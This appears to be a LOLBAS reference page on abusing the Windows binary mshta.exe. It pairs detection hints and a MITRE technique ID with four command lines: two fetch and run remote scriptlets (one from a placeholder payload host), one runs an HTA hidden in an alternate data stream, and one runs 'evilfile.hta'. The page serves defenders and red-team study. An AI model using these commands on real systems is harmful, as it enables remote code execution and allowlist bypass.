.. / Mshta.exe
Star

Used by Windows to execute html applications. (.hta)


Paths:


Resources:
https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Acknowledgement:
Casey Smith - @subtee
Oddvar Moe - @oddvarmoe


Detection:
mshta.exe executing raw or obfuscated script within the command-line
Usage of HTA file



Execute

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe evilfile.hta
Usecase:Execute code
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170



Executes VBScript supplied as a command line argument.
mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
Usecase:Execute code
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170



Executes JavaScript supplied as a command line argument.
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
Usecase:Execute code
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170



Alternate data streams

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe "C:\ads\file.txt:file.hta"
Usecase:Execute code hidden in alternate data stream
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170